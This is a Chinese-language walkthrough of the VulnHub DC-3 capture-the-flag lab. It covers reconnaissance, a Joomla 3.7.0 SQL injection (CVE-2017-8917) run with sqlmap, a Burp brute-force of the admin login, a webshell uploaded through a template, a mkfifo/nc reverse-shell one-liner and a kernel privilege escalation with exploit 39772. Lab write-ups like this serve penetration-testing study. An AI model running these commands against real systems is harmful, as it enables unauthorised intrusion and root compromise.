靶机4 DC-3(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-3(包含1个flag)

下载地址:

DC: 3.2 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-3 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-3和kali在同一网段 | 已知DC-3所在的网段

—— DC-3 IP地址:192.168.130.132/24

3.1信息收集

获取DC-3的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-3的IP地址是:192.168.108.132/24

端口扫描

命令:nmap -sV -p- 192.168.108.132

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

80

http

apache 2.4.18

3.2    渗透测试

这里我们只发现了80端口,打开查看之后发现是一个登陆网页(顺手绑定hosts文件),首先想到的就是继续进行CMS识别、查看是否可以找到后台登陆界面对、账号密码的暴力破解

CMS识别结果:

Joomla版本:3.7.0

自述文件:http://dc-3/README.txt

管理员的URL:http://dc-3/administrator

自述文件(http://dc-3/README.txt):

管理员URL(http://dc-3/administrator/):

其余扫描到的目录URL:

http://dc-3/administrator/modules

http://dc-3/administrator/components

http://dc-3/administrator/templates

http://dc-3/images/banners

对于后台管理登录页面使用burp抓包先用SQLMAP跑一下

sqlmap一把梭哈失败,还是使用msf查找一下cms的漏洞吧

msf

这里使用2017年的 CVE-2017-8917 漏洞

ok,可以看到这里直接一把梭哈拿到了getshell

老规矩,先转换一个shell的交互方式(python -c 'import pty;pty.spawn("/bin/bash")')

在这里还以为DC-3和DC-1、DC-2一样是5个flag,傻傻的使用find / -name "%flag%"找flag,结果自然是没有结果,去官网一看,结果题目是只有一个flag,那不用说了,想办法提权吧

简单查看之后也没有找到什么突破口,没办法使用suid进行提权(find / -perm -4000 2>/dev/null),既然是msf进来的,那么直接使用msf进行提权吧

这里需要注意一点就是在namp扫描的时候扫描出来了DC-3的系统是ubuntu的,也可以使用 cat /etc/issue 来查看系统版本,最终确定是ubuntu(16.04)

使用msf查看ubuntu 16.04的相关漏洞

这里出了一点问题,靶机应该自动更新了,这个姿势进不去了,重新导入也不行,换个姿势进去吧

直接使用 searchsploit(kali自带的漏洞库)查询 joomla 3.7.0 的相关漏洞

searchsploit joomla 3.7.0 # 查询 searchsploit 漏洞库里的相关漏洞信息

可以看到第一个就是关于SQL注入的漏洞,我们以它作为突破口,所以接着查看详细的信息

详细信息

URL:https://www.exploit-db.com/exploits/42033

路径:/usr/share/exploitdb/exploits/php/webapps/42033.txt

File type:ASCII text

拓展一个知识点(searchsploit 的使用方式)

这里使用 searchsploit -x  php/webapps/42033.txt

-p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

-x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp

可以看到根据漏洞描述,直接上sqlmap

将paylod里面的 http://localhost 换成靶机的地址 http://dc-3

sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] #  --dbs作用是查找全部的数据库,遇到选项一直按y就行

结果如下:

接下来一直使用这个payload进行后续的判断权限、当前用户、查表、字段、数据读取

--is-db(返回为true,是超户)

--current-db(确认当前数据库名为joomladb)

--current-user(确认当前用户是名为root的用户,超户)

--tables -D "joomladb"(在此数据库下查到了 76 个表名,这个#__users就很可疑,继续探测)

--columns -T "#__users" -D "joomladb"(就很奇怪,在读列名这里又一次出现了问题,想了不少办法,甚至直接 --dump 下载整个数据库也不行)

--dump

实在没办法了,直接burp暴力破解吧

burp暴力破解

设置变量位置、变量参数(弱口令)

变量1(账号)

变量2(密码)

爆破结果(admin、snoopy):

直接尝试进行管理后台登录,成功登录

已经成功登录后台管理页面之后,没有什么好方法,只能仔细翻看,最后发现templates下存在模板(随便一个可以上传webshell的就行),而模板里的php文件可编辑。

上传webshell

使用蚁剑连接(直接使用/html/webshell.php文件路径不对,根据模块中的信息猜测尝试之后发现文件路径为/templates/beez3/html/webshell.php)

反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.108.129 6868 >/tmp/f

尝试之后发现上面这条命令被执行成功

提权

终于是又一次成功的拿到了shell,接下来就还是最开始的问题,开始进行提权,因为之前已经获取到了DC-3靶机的系统版本信息,这里直接上漏洞库查询即可

searchsploit Ubuntu 16.04

这里发现了不少是和权限提升相关的,查看一下Linux系统的版本,发现是Linux version 4.4.0-21

cat /proc/version

信息结合筛选之后就剩下了这六个可以尝试利用

像之前的sql那个payload一样,使用-x去查看相关漏洞的详细信息查询(可以都去尝试一下,这里就直接使用39772.txt了)

先根据提示下载攻击压缩包

下载好之后直接使用蚁剑上传到 DC-3 靶机里面

然后直接解压提权,在root的家目录下拿到flag

unzip 39772.zip

cd  39772

tar -xvf exploit.tar

./compile.sh # 编译

./doubleput # 提权

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值